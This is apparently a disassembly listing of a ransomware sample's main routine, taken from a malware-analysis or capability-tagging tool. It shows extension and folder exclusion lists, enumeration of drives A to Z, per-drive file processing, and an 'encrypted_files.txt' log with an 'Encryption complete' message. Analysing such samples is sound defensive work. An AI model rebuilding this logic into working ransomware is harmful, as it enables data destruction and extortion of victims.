Function at 0x140001120
Capabilities:
Get common file path
Get disk information
Manipulate boot configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x540]
sub rsp, 0x640
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x530], rax
mov r8d, 0x104
lea rdx, [rbp + 0x310]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0x310]
call qword [sym.imp.SHLWAPI.dll_PathStripPathA]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov r12d, dword [rsp + 0x30]
lea rax, str..386
mov qword [rbp + 0x50], rax
lea rax, str..adv
mov qword [rbp + 0x58], rax
lea rax, str..ani
mov qword [rbp + 0x60], rax
lea rax, str..bat
mov qword [rbp + 0x68], rax
lea rax, str..bin
mov qword [rbp + 0x70], rax
lea rax, str..cab
mov qword [rbp + 0x78], rax
lea rax, str..cmd
mov qword [rbp + 0x80], rax
lea rax, str..com
mov qword [rbp + 0x88], rax
lea rax, str..cpl
mov qword [rbp + 0x90], rax
lea rax, str..cur
mov qword [rbp + 0x98], rax
lea rax, str..deskthemepack
mov qword [rbp + 0xa0], rax
lea rax, str..diagcab
mov qword [rbp + 0xa8], rax
lea rax, str..diagcfg
mov qword [rbp + 0xb0], rax
lea rax, str..diagpkg
mov qword [rbp + 0xb8], rax
lea rax, str..dll
mov qword [rbp + 0xc0], rax
lea rax, str..drv
mov qword [rbp + 0xc8], rax
lea rax, str..exe
mov qword [rbp + 0xd0], rax
lea rax, str..hlp
mov qword [rbp + 0xd8], rax
lea rax, str..icl
mov qword [rbp + 0xe0], rax
lea rax, str..icns
mov qword [rbp + 0xe8], rax
lea rax, str..ico
mov qword [rbp + 0xf0], rax
lea rax, str..ics
mov qword [rbp + 0xf8], rax
lea rax, str..idx
mov qword [rbp + 0x100], rax
lea rax, str..ldf
mov qword [rbp + 0x108], rax
lea rax, str..lnk
mov qword [rbp + 0x110], rax
lea rax, str..mod
mov qword [rbp + 0x118], rax
lea rax, str..mpa
mov qword [rbp + 0x120], rax
lea rax, str..msc
mov qword [rbp + 0x128], rax
lea rax, str..msp
mov qword [rbp + 0x130], rax
lea rax, str..msstyles
mov qword [rbp + 0x138], rax
lea rax, str..msu
mov qword [rbp + 0x140], rax
lea rax, str..nls
mov qword [rbp + 0x148], rax
lea rax, str..nomedia
mov qword [rbp + 0x150], rax
lea rax, str..ocx
mov qword [rbp + 0x158], rax
lea rax, str..prf
mov qword [rbp + 0x160], rax
lea rax, str..ps1
mov qword [rbp + 0x168], rax
lea rax, str..rom
xor esi, esi
mov qword [rbp + 0x170], rax
lea rax, str..rtp
mov qword [rbp + 0x178], rax
lea rax, str..scr
mov qword [rbp + 0x180], rax
lea rax, str..shs
mov qword [rbp + 0x188], rax
lea rax, str..spl
mov qword [rbp + 0x190], rax
lea rax, str..sys
mov qword [rbp + 0x198], rax
lea rax, str..theme
mov qword [rbp + 0x1a0], rax
lea rax, str..themepack
mov qword [rbp + 0x1a8], rax
lea rax, str..wpx
mov qword [rbp + 0x1b0], rax
lea rax, str..lock
mov qword [rbp + 0x1b8], rax
lea rax, str..key
mov qword [rbp + 0x1c0], rax
lea rax, str..hta
mov qword [rbp + 0x1c8], rax
lea rax, str..msi
mov qword [rbp + 0x1d0], rax
lea rax, str..pdb
mov qword [rbp + 0x1d8], rax
lea rax, str..search_ms
mov qword [rbp + 0x1e0], rax
lea rax, str..crypted
mov qword [rbp + 0x1e8], rax
lea rax, str.autorun.inf
mov qword [rsp + 0x40], rax
lea rax, str.boot.ini
mov qword [rsp + 0x48], rax
lea rax, str.bootfont.bin
mov qword [rsp + 0x50], rax
lea rax, str.bootsect.bak
mov qword [rsp + 0x58], rax
lea rax, str.desktop.ini
mov qword [rsp + 0x60], rax
lea rax, str.iconcache.db
mov qword [rsp + 0x68], rax
lea rax, str.ntldr
mov qword [rsp + 0x70], rax
lea rax, str.ntuser.dat
mov qword [rsp + 0x78], rax
lea rax, str.ntuser.dat.log
mov qword [rbp - 0x80], rax
lea rax, str.ntuser.ini
mov qword [rbp - 0x78], rax
lea rax, str.thumbs.db
mov qword [rbp - 0x70], rax
lea rax, str.GDIPFONTCACHEV1.DAT
mov qword [rbp - 0x68], rax
lea rax, str.d3d9caps.dat
mov qword [rbp - 0x60], rax
lea rax, str._recycle.bin
mov qword [rbp - 0x50], rax
lea rax, str.config.msi
mov qword [rbp - 0x48], rax
lea rax, str._windows.bt
mov qword [rbp - 0x40], rax
lea rax, str._windows.ws
mov qword [rbp - 0x38], rax
lea rax, str.boot
mov qword [rbp - 0x30], rax
lea rax, str.Program_Files
mov qword [rbp - 0x28], rax
lea rax, str.Program_Files__x86_
mov qword [rbp - 0x20], rax
lea rax, str.Programdata
mov qword [rbp - 0x18], rax
lea rax, str.tor_browser
mov qword [rbp - 0x10], rax
lea rax, str.windows.old
mov qword [rbp - 8], rax
mov qword [rbp + 0x1f0], rsi
mov qword [rbp - 0x58], rsi
lea rax, str.intel
mov qword [rbp + 0x48], rsi
mov qword [rbp], rax
lea ecx, [rsi + 0x1b]
lea rax, str.msocache
mov qword [rbp + 8], rax
lea rax, str.perflogs
mov qword [rbp + 0x10], rax
lea rax, str.x64dbg
mov qword [rbp + 0x18], rax
lea rax, str.public
mov qword [rbp + 0x20], rax
lea rax, str.all_users
mov qword [rbp + 0x28], rax
lea rax, str.default
mov qword [rbp + 0x30], rax
lea rax, str.Microsoft
mov qword [rbp + 0x38], rax
lea rax, str.Windows
mov qword [rbp + 0x40], rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x140001628
lea rcx, str.____Memory_allocation_failed_n
call fcn.140001060
lea rcx, str.____No_drives_found_n
call fcn.140001060
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x530]
xor rcx, rsp
call fcn.140001dd0
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov r15d, esi
mov dil, 0x41
mov r14, rbx
nop dword [rax]
nop word [rax + rax]
movzx r9d, dil
lea r8, [0x140003910]
mov edx, 0x104
lea rcx, [rbp + 0x200]
call fcn.1400010c0
lea rcx, [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x140001676
inc r15d
mov byte [r14], dil
inc r14
inc dil
cmp dil, 0x5a
jle 0x140001640
test r15d, r15d
jne 0x14000169e
lea rcx, str.____No_drives_found_n
call fcn.140001060
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400015e7
movsxd rax, r15d
mov edi, esi
mov byte [rax + rbx], sil
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rbx + rax], sil
jne 0x1400016b0
test rax, rax
je 0x140001737
mov r14, rbx
nop dword [rax]
nop word [rax + rax]
movsx r9d, byte [r14]
lea r8, str._c:_
mov edx, 0x104
lea rcx, [rbp + 0x200]
call fcn.1400010c0
lea rax, [rbp - 0x50]
mov edx, r12d
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x50]
lea rax, [rsp + 0x40]
lea r8, [rbp + 0x310]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x200]
call fcn.140001b50
inc edi
lea r14, [r14 + 1]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], sil
jne 0x140001726
movsxd rcx, edi
cmp rcx, rax
jb 0x1400016d0
xor r9d, r9d
lea rax, [rbp + 0x200]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x10]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x140001776
lea rcx, str.____Error_getting_desktop_directory_path_n
call fcn.140001060
lea rcx, str.___Encryption_complete._n
call fcn.140001060
jmp 0x140001815
lea r9, [rbp + 0x200]
mov edx, 0x104
lea r8, str._sencrypted_files.txt
lea rcx, [rbp + 0x420]
call fcn.1400010c0
lea rdx, [0x1400038d0]
lea rcx, [rbp + 0x420]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x1400017cb
lea rcx, str.____Error_opening_encrypted_files.txt_for_writing_n
call fcn.140001060
lea rcx, str.___Encryption_complete._n
call fcn.140001060
jmp 0x140001815
cmp dword [0x140005660], esi
jle 0x140001800
lea rbx, [0x140005680]
nop word [rax + rax]
mov r8, qword [rbx]
lea rdx, [0x14000390c]
mov rcx, rdi
call fcn.140001010
inc esi
lea rbx, [rbx + 8]
cmp esi, dword [0x140005660]
jl 0x1400017e0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.___Encryption_complete._n
call fcn.140001060
jmp 0x140001815